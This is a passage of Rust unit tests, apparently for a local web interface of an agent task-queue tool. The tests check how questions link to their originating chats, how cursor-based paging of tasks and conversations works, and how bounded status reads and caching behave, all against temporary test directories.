24529        assert_eq!(core.len(), 1);
24530        assert_eq!(core[0].question.summary, "Useful question");
24531        assert!(!core[0].can_consult_chat);
24532        assert!(core[0].origin_chat.is_none());
24533        assert_eq!(core[0].record_revision, question_record_revision(&question));
24534        assert!(question_origins(State(ui.clone())).await.is_err());
24535        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24536    }
24537
24538    #[tokio::test]
24539    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24540        let home = tempfile::tempdir().unwrap();
24541        let ui = delta_test_ui(home.path());
24542        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24543        let mut parent = Task::new(
24544            "parent".into(),
24545            "body".into(),
24546            PathBuf::from("/repo"),
24547            Source::Agent {
24548                run: chat.clone(),
24549                node: crate::queue::CHAT_NODE.into(),
24550            },
24551        );
24552        parent.id = "parent-task".into();
24553        parent.runs = vec!["parent-run".into()];
24554        ui.queue.put(&mut parent).unwrap();
24555        let mut previous = parent;
24556        for generation in 1..=2 {
24557            let mut child = Task::new(
24558                "child".into(),
24559                "body".into(),
24560                PathBuf::from("/repo"),
24561                Source::Human,
24562            );
24563            child.id = format!("child-task-{generation}");
24564            child.runs = vec![format!("child-run-{generation}")];
24565            child.followup = Some(crate::queue::FollowUp {
24566                origin_task: Some(previous.id.clone()),
24567                run: previous.runs[0].clone(),
24568                pr: String::new(),
24569                findings: vec![],
24570                generation,
24571            });
24572            ui.queue.put(&mut child).unwrap();
24573            previous = child;
24574        }
24575        // A run may have the same spelling as another task's id; its owner
24576        // must not override a typed task reference.
24577        let mut collision = Task::new(
24578            "collision".into(),
24579            String::new(),
24580            PathBuf::from("/repo"),
24581            Source::Human,
24582        );
24583        collision.id = "collision-task".into();
24584        collision.runs = vec![previous.id.clone()];
24585        ui.queue.put(&mut collision).unwrap();
24586        let mut questions = Vec::new();
24587        for (node, reference, expected, eligible) in [
24588            (crate::triage::NODE, previous.id.as_str(), true, false),
24589            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
24590            ("review", previous.runs[0].as_str(), true, true),
24591            (
24592                crate::bump::NOTICE_NODE,
24593                previous.runs[0].as_str(),
24594                true,
24595                false,
24596            ),
24597            // Identical text in the wrong reference namespace is not evidence.
24598            ("review", previous.id.as_str(), false, false),
24599            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
24600            ("review", "unrelated", false, false),
24601        ] {
24602            let mut q = Question::new(
24603                reference.into(),
24604                node.into(),
24605                "seat".into(),
24606                "Question".into(),
24607                String::new(),
24608                vec![],
24609            );
24610            ui.questions.put(&mut q).unwrap();
24611            questions.push((q, expected, eligible));
24612        }
24613        for (node, reference, associated, eligible) in [
24614            (crate::reconcile::NODE, previous.id.as_str(), true, false),
24615            (
24616                crate::reconcile::NODE,
24617                previous.runs[0].as_str(),
24618                false,
24619                true,
24620            ),
24621            ("implement", previous.id.as_str(), false, false),
24622        ] {
24623            let mut q = Question::new(
24624                reference.into(),
24625                node.into(),
24626                crate::reconcile::SEAT.into(),
24627                "Reconcile".into(),
24628                String::new(),
24629                vec![],
24630            );
24631            ui.questions.put(&mut q).unwrap();
24632            questions.push((q, associated, eligible));
24633        }
24634        let mut release = Question::new(
24635            "release-record".into(),
24636            crate::bump::NOTICE_NODE.into(),
24637            "release-watch".into(),
24638            "Release".into(),
24639            String::new(),
24640            vec![],
24641        );
24642        ui.questions.put(&mut release).unwrap();
24643        let watch = crate::release_watch::WatchState {
24644            question: Some(release.id.clone()),
24645            run: Some(previous.runs[0].clone()),
24646            held_task: Some(previous.id.clone()),
24647            ..Default::default()
24648        };
24649        let watch_dir = home.path().join("release-watch");
24650        std::fs::create_dir_all(&watch_dir).unwrap();
24651        let watch_path = watch_dir.join("watch.json");
24652        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24653        // Ordinary questions and bump notices do not need watch-store I/O.
24654        for batch in [
24655            Vec::new(),
24656            questions.iter().map(|(q, _, _)| q.clone()).collect(),
24657        ] {
24658            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
24659            assert!(watches.is_empty());
24660        }
24661        questions.push((release.clone(), true, false));
24662
24663        let views = questions_list(State(ui.clone())).await.unwrap().0;
24664        let origins = question_origins(State(ui.clone())).await.unwrap().0;
24665        for (q, associated, eligible) in &questions {
24666            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24667            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24668            let expected = associated.then_some(chat.as_str());
24669            assert_eq!(
24670                view.origin_chat.as_deref(),
24671                expected,
24672                "{} {}",
24673                q.node,
24674                q.run
24675            );
24676            assert_eq!(origin.origin_chat.as_deref(), expected);
24677            assert_eq!(view.origin_chat_closed, *associated);
24678            assert_eq!(origin.origin_chat_closed, *associated);
24679            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24680            assert_eq!(origin.can_consult_chat, *eligible);
24681        }
24682        // Either saved link independently recovers a release question's owner.
24683        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24684            let link = crate::release_watch::WatchState {
24685                run,
24686                held_task,
24687                ..watch.clone()
24688            };
24689            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24690            let (tasks, talks, watches) =
24691                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24692            assert_eq!(
24693                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24694                    .unwrap()
24695                    .id,
24696                chat,
24697            );
24698            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24699        }
24700        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24701        // Even identical duplicate records are ambiguous: ignore their links.
24702        let duplicate_path = watch_dir.join("duplicate.json");
24703        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24704        let (tasks, talks, watches) =
24705            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24706        assert!(
24707            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24708                .is_none()
24709        );
24710        std::fs::remove_file(duplicate_path).unwrap();
24711        // Another explicit owner is a conflict even if it has no chat.
24712        let mut unrelated = Task::new(
24713            "other".into(),
24714            String::new(),
24715            PathBuf::from("/repo"),
24716            Source::Human,
24717        );
24718        unrelated.id = "unrelated-task".into();
24719        ui.queue.put(&mut unrelated).unwrap();
24720        let mut conflicting = watch.clone();
24721        conflicting.held_task = Some(unrelated.id);
24722        std::fs::write(
24723            watch_dir.join("conflict.json"),
24724            serde_json::to_vec(&conflicting).unwrap(),
24725        )
24726        .unwrap();
24727        let (tasks, talks, watches) =
24728            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24729        assert!(
24730            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24731                .is_none()
24732        );
24733        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24734        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24735        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24736            assert!(origin.origin_chat.is_none());
24737            assert!(!origin.origin_chat_closed);
24738        }
24739    }
24740
24741    #[test]
24742    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24743        let home = tempfile::tempdir().unwrap();
24744        let ui = delta_test_ui(home.path());
24745        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24746        for i in 0..1000 {
24747            let mut task = Task::new(
24748                "unrelated".into(),
24749                "instruction ".repeat(256),
24750                PathBuf::from("/repo"),
24751                Source::Human,
24752            );
24753            task.id = format!("history-{i:04}");
24754            ui.queue.put(&mut task).unwrap();
24755            let id = seed_talk_at(&ui.talks, &task.id, "open");
24756            let mut talk = ui.talks.get(&id).unwrap();
24757            talk.pending = "history ".repeat(256);
24758            ui.talks.put(&mut talk).unwrap();
24759        }
24760        let mut parent = Task::new(
24761            "parent".into(),
24762            "body".into(),
24763            PathBuf::from("/repo"),
24764            Source::Agent {
24765                run: chat_id.clone(),
24766                node: crate::queue::CHAT_NODE.into(),
24767            },
24768        );
24769        parent.id = "task-parent".into();
24770        parent.runs = vec!["run-parent".into()];
24771        ui.queue.put(&mut parent).unwrap();
24772        let mut child = Task::new(
24773            "child".into(),
24774            "body".into(),
24775            PathBuf::from("/repo"),
24776            Source::Human,
24777        );
24778        child.id = "task-child".into();
24779        child.runs = vec!["run-child".into()];
24780        child.followup = Some(crate::queue::FollowUp {
24781            run: "run-parent".into(),
24782            origin_task: Some(parent.id.clone()),
24783            pr: "https://example.invalid/pr/1".into(),
24784            findings: vec![],
24785            generation: 1,
24786        });
24787        ui.queue.put(&mut child).unwrap();
24788        let mut question = Question::new(
24789            child.id.clone(),
24790            crate::conduct::NODE.into(),
24791            "seat".into(),
24792            "Continue?".into(),
24793            String::new(),
24794            vec![],
24795        );
24796        let (tasks, talks, _watches) =
24797            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24798        assert_eq!(tasks.len(), 2);
24799        assert_eq!(talks.len(), 1);
24800        assert_eq!(
24801            ui.monitor.queue_index.lock().unwrap().reparsed,
24802            0,
24803            "exact ancestry bypasses the index"
24804        );
24805        assert_eq!(
24806            crate::consult::origin_talk(&tasks, &talks, &question)
24807                .unwrap()
24808                .id,
24809            chat_id
24810        );
24811        question.run = "run-child".into();
24812        question.node = "review".into();
24813        for origin_task in [Some(parent.id.clone()), None] {
24814            child.followup.as_mut().unwrap().origin_task = origin_task;
24815            ui.queue.put(&mut child).unwrap();
24816            let (tasks, talks, _watches) =
24817                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24818            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24819            let expected =
24820                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24821                    .unwrap();
24822            assert_eq!(actual.id, expected.id);
24823            assert!(!actual.status.open());
24824            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24825            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24826            // Without Unix file identity, every readable record must be
24827            // reparsed to detect same-size, same-mtime replacements safely.
24828            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24829            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24830        }
24831        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24832        ui.queue.put(&mut child).unwrap();
24833        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24834        let (tasks, talks, _watches) =
24835            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24836        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24837        child.origin_chat = Some(chat_id.clone());
24838        ui.queue.put(&mut child).unwrap();
24839        let (tasks, talks, _watches) =
24840            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24841        assert_eq!(
24842            crate::consult::origin_talk(&tasks, &talks, &question)
24843                .unwrap()
24844                .id,
24845            chat_id
24846        );
24847        let revision = question_record_revision(&question);
24848        question.abandon("settled elsewhere");
24849        assert_ne!(revision, question_record_revision(&question));
24850        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24851        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24852        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24853        let (tasks, talks, _watches) =
24854            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24855        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24856    }
24857
24858    #[test]
24859    fn list_cursors_freeze_membership_and_expire_explicitly() {
24860        let home = tempfile::tempdir().unwrap();
24861        let ui = delta_test_ui(home.path());
24862        std::fs::create_dir_all(ui.queue.root()).unwrap();
24863        for i in 0..40 {
24864            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24865        }
24866        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24867        assert_eq!(first.len(), STORE_PAGE_SIZE);
24868        let cursor = cursor.unwrap();
24869        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24870        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24871        let (second, _) = page_ids(
24872            &ui,
24873            false,
24874            PageQuery {
24875                before: Some(cursor.clone()),
24876            },
24877        )
24878        .unwrap();
24879        assert_eq!(second[0], "record-0023");
24880        assert!(second.iter().all(|id| !first.contains(id)));
24881        assert!(
24882            page_ids(
24883                &ui,
24884                true,
24885                PageQuery {
24886                    before: Some(cursor.clone())
24887                }
24888            )
24889            .is_err()
24890        );
24891        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24892        assert_eq!(fresh[0], "record-9999");
24893        ui.monitor.list_walks.lock().unwrap().clear();
24894        assert!(
24895            page_ids(
24896                &ui,
24897                false,
24898                PageQuery {
24899                    before: Some(cursor)
24900                }
24901            )
24902            .is_err()
24903        );
24904    }
24905
24906    #[tokio::test]
24907    async fn talk_pages_load_every_open_then_frozen_closed_history() {
24908        let home = tempfile::tempdir().unwrap();
24909        let ui = delta_test_ui(home.path());
24910        // Every closed conversation is newer by ID than every open conversation.
24911        for i in 0..23 {
24912            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
24913        }
24914        for i in 0..45 {
24915            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
24916        }
24917        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
24918        let first = talks_page(
24919            State(ui.clone()),
24920            Query(PageQuery::default()),
24921            header::HeaderMap::new(),
24922        )
24923        .await
24924        .unwrap()
24925        .0;
24926        assert_eq!(
24927            first.rows.iter().filter(|row| row.status.open()).count(),
24928            23
24929        );
24930        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
24931        assert!(first.rows[..23].iter().all(|row| row.status.open()));
24932        let parsed = ui
24933            .monitor
24934            .talk_parses
24935            .load(std::sync::atomic::Ordering::Relaxed);
24936        assert_eq!(
24937            parsed,
24938            first.rows.len(),
24939            "closed bodies outside this page are not restored"
24940        );
24941        let fresh = talks_page(
24942            State(ui.clone()),
24943            Query(PageQuery::default()),
24944            header::HeaderMap::new(),
24945        )
24946        .await
24947        .unwrap()
24948        .0;
24949        assert_eq!(fresh.rows.len(), first.rows.len());
24950        assert_eq!(
24951            ui.monitor
24952                .talk_parses
24953                .load(std::sync::atomic::Ordering::Relaxed),
24954            parsed
24955        );
24956        let mut seen: std::collections::HashSet<_> =
24957            first.rows.iter().map(|row| row.id.clone()).collect();
24958        // Status changes keep their original membership position until refresh.
24959        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
24960        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
24961        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
24962        let mut next = first.next;
24963        while let Some(cursor) = next {
24964            let page = talks_page(
24965                State(ui.clone()),
24966                Query(PageQuery {
24967                    before: Some(cursor),
24968                }),
24969                header::HeaderMap::new(),
24970            )
24971            .await
24972            .unwrap()
24973            .0;
24974            assert!(page.rows.len() <= STORE_PAGE_SIZE);
24975            for row in page.rows {
24976                assert!(seen.insert(row.id), "a cursor must not repeat membership");
24977            }
24978            next = page.next;
24979        }
24980        let expected: HashSet<_> = (0..23)
24981            .map(|i| format!("20260101-000000-{i:03}"))
24982            .chain(
24983                (0..45)
24984                    .filter(|i| *i != 1)
24985                    .map(|i| format!("20261019-000000-{i:03}")),
24986            )
24987            .collect();
24988        assert_eq!(
24989            seen, expected,
24990            "the cursor walk must return every surviving ID"
24991        );
24992        let refreshed = talks_page(
24993            State(ui.clone()),
24994            Query(PageQuery::default()),
24995            header::HeaderMap::new(),
24996        )
24997        .await
24998        .unwrap()
24999        .0;
25000        assert_eq!(
25001            refreshed
25002                .rows
25003                .iter()
25004                .filter(|row| row.status.open())
25005                .count(),
25006            23
25007        );
25008        assert!(
25009            refreshed
25010                .rows
25011                .iter()
25012                .any(|row| row.id == "20261019-000000-000")
25013        );
25014        assert!(
25015            !refreshed
25016                .rows
25017                .iter()
25018                .any(|row| row.id == "20260101-000000-000")
25019        );
25020    }
25021
25022    #[test]
25023    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
25024        let home = tempfile::tempdir().unwrap();
25025        let ui = delta_test_ui(home.path());
25026        for i in 0..STORE_PAGE_SIZE + 5 {
25027            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
25028        }
25029        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
25030        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
25031        assert!(next.is_none());
25032    }
25033
25034    #[test]
25035    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
25036        struct Counted<R> {
25037            inner: R,
25038            bytes: usize,
25039        }
25040        impl<R: std::io::Read> std::io::Read for Counted<R> {
25041            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
25042                let n = self.inner.read(buf)?;
25043                self.bytes += n;
25044                Ok(n)
25045            }
25046        }
25047        let home = tempfile::tempdir().unwrap();
25048        let ui = delta_test_ui(home.path());
25049        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
25050        let mut chat = ui.talks.get(&id).unwrap();
25051        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
25052            chat.turns = vec![
25053                serde_json::from_value(serde_json::json!({
25054                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
25055                }))
25056                .unwrap(),
25057            ];
25058            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
25059                chat.status = status;
25060                // Exercise the actual on-disk serializer, including its field order.
25061                let body = serde_json::to_vec_pretty(&chat).unwrap();
25062                let mut reader = Counted {
25063                    inner: body.as_slice(),
25064                    bytes: 0,
25065                };
25066                assert_eq!(read_talk_status(&mut reader), Some(status));
25067                assert!(
25068                    reader.bytes <= 1024,
25069                    "header classification read {} bytes",
25070                    reader.bytes
25071                );
25072            }
25073        }
25074        // Noncanonical field order must neither traverse a transcript nor hide
25075        // an open row. Its real status is validated by the ordinary row reader.
25076        let noncanonical = format!(
25077            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
25078            "x".repeat(1024 * 1024)
25079        );
25080        let mut reader = Counted {
25081            inner: noncanonical.as_bytes(),
25082            bytes: 0,
25083        };
25084        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25085        assert!(reader.bytes <= 1024);
25086        let oversized = format!(
25087            r#"{{"agent":"{}","status":"open"}}"#,
25088            "x".repeat(128 * 1024)
25089        );
25090        let mut reader = Counted {
25091            inner: oversized.as_bytes(),
25092            bytes: 0,
25093        };
25094        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25095        assert!(reader.bytes <= 64 * 1024);
25096    }
25097
25098    #[test]
25099    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
25100        let home = tempfile::tempdir().unwrap();
25101        let ui = delta_test_ui(home.path());
25102        seed_talk_at(&ui.talks, "header-chat", "open");
25103        std::fs::create_dir_all(ui.queue.root()).unwrap();
25104        let (started, ready) = std::sync::mpsc::channel();
25105        let (release, wait) = std::sync::mpsc::channel();
25106        let chat_ui = ui.clone();
25107        let scan = std::thread::spawn(move || {
25108            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
25109                started.send(()).unwrap();
25110                wait.recv().unwrap();
25111                open_talk_ids(ui, ids)
25112            })
25113            .unwrap()
25114        });
25115        ready.recv_timeout(Duration::from_secs(2)).unwrap();
25116        let (finished, result) = std::sync::mpsc::channel();
25117        let queue = std::thread::spawn(move || {
25118            finished
25119                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
25120                .unwrap();
25121        });
25122        let completed = result.recv_timeout(Duration::from_secs(2));
25123        // Release and join both workers even if the regression returns.
25124        release.send(()).unwrap();
25125        scan.join().unwrap();
25126        queue.join().unwrap();
25127        assert!(
25128            completed.unwrap(),
25129            "queue paging must not wait for chat header I/O"
25130        );
25131    }
25132
25133    #[test]
25134    fn talk_status_projection_does_not_cache_files_changed_during_read() {
25135        let home = tempfile::tempdir().unwrap();
25136        let ui = delta_test_ui(home.path());
25137        let ids = vec!["changing-chat".to_owned()];
25138        seed_talk_at(&ui.talks, &ids[0], "closed");
25139        assert!(open_talk_ids(&ui, &ids).is_empty());
25140        seed_talk_at(&ui.talks, &ids[0], "open");
25141        let open = open_talk_ids_with(&ui, &ids, |path| {
25142            let value: serde_json::Value =
25143                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
25144            // Replace the file after parsing, before its identity is checked again.
25145            seed_talk_at(&ui.talks, &ids[0], "closed");
25146            serde_json::from_value(value["status"].clone()).ok()
25147        });
25148        assert!(open.contains(&ids[0]));
25149        assert!(
25150            ui.monitor
25151                .talk_status_index
25152                .lock()
25153                .unwrap()
25154                .records
25155                .is_empty()
25156        );
25157        assert!(open_talk_ids(&ui, &ids).is_empty());
25158        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
25159    }
25160
25161    #[test]
25162    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
25163        let home = tempfile::tempdir().unwrap();
25164        let ui = delta_test_ui(home.path());
25165        let headers = header::HeaderMap::new();
25166        seed_talk_at(&ui.talks, "open-chat", "open");
25167        seed_talk_at(&ui.talks, "closed-chat", "closed");
25168        talk_rows(
25169            &ui,
25170            vec!["open-chat".into(), "closed-chat".into()],
25171            &headers,
25172        );
25173        {
25174            let mut index = ui.monitor.talk_index.lock().unwrap();
25175            let closed = index["closed-chat"].1.clone();
25176            for i in 0..1000 {
25177                index.insert(
25178                    format!("cached-closed-{i}"),
25179                    (
25180                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
25181                        closed.clone(),
25182                    ),
25183                );
25184            }
25185        }
25186        assert_eq!(
25187            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
25188            1
25189        );
25190        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
25191        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25192        assert_eq!(
25193            ui.monitor
25194                .talk_parses
25195                .load(std::sync::atomic::Ordering::Relaxed),
25196            2
25197        );
25198        {
25199            let mut index = ui.monitor.talk_index.lock().unwrap();
25200            let open = index["open-chat"].1.clone();
25201            for i in 0..1000 {
25202                index.insert(
25203                    format!("cached-open-{i}"),
25204                    (
25205                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
25206                        open.clone(),
25207                    ),
25208                );
25209            }
25210        }
25211        // Even when open rows exceed the bound, keep the currently requested rows.
25212        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25213        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
25214        assert_eq!(
25215            ui.monitor
25216                .talk_parses
25217                .load(std::sync::atomic::Ordering::Relaxed),
25218            2
25219        );
25220    }
25221
25222    #[test]
25223    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
25224        let home = tempfile::tempdir().unwrap();
25225        let ui = delta_test_ui(home.path());
25226        std::fs::create_dir_all(ui.talks.root()).unwrap();
25227        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
25228        for id in &ids {
25229            std::fs::write(
25230                ui.talks.path_of(id),
25231                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
25232            )
25233            .unwrap();
25234        }
25235        assert!(open_talk_ids(&ui, &ids).is_empty());
25236        assert_eq!(
25237            ui.monitor.talk_status_index.lock().unwrap().parses,
25238            ids.len()
25239        );
25240        assert!(open_talk_ids(&ui, &ids).is_empty());
25241        assert_eq!(
25242            ui.monitor.talk_status_index.lock().unwrap().parses,
25243            ids.len()
25244        );
25245        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
25246        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
25247        assert_eq!(
25248            open_talk_ids(&ui, &ids),
25249            std::collections::HashSet::from([ids[0].clone()])
25250        );
25251        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
25252        assert_eq!(parsed, ids.len() + 2);
25253        open_talk_ids(&ui, &ids);
25254        assert_eq!(
25255            ui.monitor.talk_status_index.lock().unwrap().parses,
25256            parsed,
25257            "unreadable rows are cached too"
25258        );
25259        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
25260        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
25261        assert!(
25262            !ui.monitor
25263                .talk_status_index
25264                .lock()
25265                .unwrap()
25266                .records
25267                .contains_key(&ids[0])
25268        );
25269        assert!(
25270            ui.monitor.talk_index.lock().unwrap().is_empty(),
25271            "classification never caches bodies"
25272        );
25273    }
25274
25275    #[tokio::test]
25276    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
25277        let home = tempfile::tempdir().unwrap();
25278        let ui = delta_test_ui(home.path());
25279        let mut task = Task::new(
25280            "task".into(),
25281            "body".into(),
25282            PathBuf::from("/repo"),
25283            Source::Human,
25284        );
25285        ui.queue.put(&mut task).unwrap();
25286        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25287        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25288        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25289        let expected = parsed + usize::from(!cfg!(unix));
25290        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25291        task.status = crate::queue::TaskStatus::Held;
25292        ui.queue.put(&mut task).unwrap();
25293        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25294        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25295        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
25296        ui.queue.put(&mut task).unwrap();
25297        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25298        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25299        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
25300    }
25301
25302    #[tokio::test]
25303    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
25304        let home = tempfile::tempdir().unwrap();
25305        let ui = delta_test_ui(home.path());
25306        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25307        let before = health(State(ui.clone())).await.unwrap().0;
25308        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
25309        let after = health(State(ui)).await.unwrap().0;
25310        assert_ne!(before.notifications_rev, after.notifications_rev);
25311        assert_eq!(after.notifications_unread, 1);
25312    }
25313
25314    #[tokio::test]
25315    async fn list_pages_bound_history_and_keep_dependency_evidence() {
25316        let home = tempfile::tempdir().unwrap();
25317        let ui = delta_test_ui(home.path());
25318        let queue = &ui.queue;
25319        let talks = &ui.talks;
25320        for i in 0..1000 {
25321            let id = format!("20261019-{i:06}-page");
25322            let mut task = Task::new(
25323                "task".into(),
25324                "instruction".repeat(100),
25325                PathBuf::from("/repo/magi"),
25326                Source::Human,
25327            );
25328            task.id = id.clone();
25329            if i == 0 {
25330                task.status = crate::queue::TaskStatus::Held;
25331            } else if i == 999 {
25332                task.status = crate::queue::TaskStatus::Blocked;
25333                task.blocked_by = vec!["20261019-000000-page".into()];
25334            }
25335            queue.put(&mut task).unwrap();
25336            seed_talk_at(talks, &id, "closed");
25337        }
25338        let page = serde_json::to_value(
25339            queue_page(State(ui.clone()), Query(PageQuery::default()))
25340                .await
25341                .unwrap()
25342                .0,
25343        )
25344        .unwrap();
25345        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25346        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
25347        assert!(
25348            !page["rows"][0]["stuck_roots"]
25349                .as_array()
25350                .unwrap()
25351                .is_empty()
25352        );
25353        let cursor = page["next"].as_str().unwrap();
25354        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
25355            .as_str()
25356            .unwrap();
25357        // Deleting an already enumerated file cannot shift or repeat a page.
25358        std::fs::remove_file(queue.path_of(last_id)).unwrap();
25359        let next = serde_json::to_value(
25360            queue_page(
25361                State(ui.clone()),
25362                Query(PageQuery {
25363                    before: Some(cursor.into()),
25364                }),
25365            )
25366            .await
25367            .unwrap()
25368            .0,
25369        )
25370        .unwrap();
25371        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25372        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
25373        let chats = serde_json::to_value(
25374            talks_page(
25375                State(ui.clone()),
25376                Query(PageQuery::default()),
25377                header::HeaderMap::new(),
25378            )
25379            .await
25380            .unwrap()
25381            .0,
25382        )
25383        .unwrap();
25384        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25385        assert!(chats["rows"][0].get("pending").is_none());
25386        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
25387        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
25388        assert_eq!(counts["held"], 1);
25389        assert_eq!(counts["blocked"], 1);
25390        assert_eq!(counts["queued"], 997);
25391    }
25392
25393    #[test]
25394    fn queue_index_observes_external_replacement_deletion_and_corruption() {
25395        let dir = tempfile::tempdir().unwrap();
25396        let ui = delta_test_ui(dir.path());
25397        let mut task = Task::new(
25398            "task".into(),
25399            "body".into(),
25400            PathBuf::from("/repo"),
25401            Source::Human,
25402        );
25403        task.runs = vec!["run-a".into()];
25404        ui.queue.put(&mut task).unwrap();
25405        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
25406        task.runs = vec!["run-b".into()];
25407        let path = ui.queue.path_of(&task.id);
25408        let modified = path.metadata().unwrap().modified().unwrap();
25409        let replacement = path.with_extension("replacement");
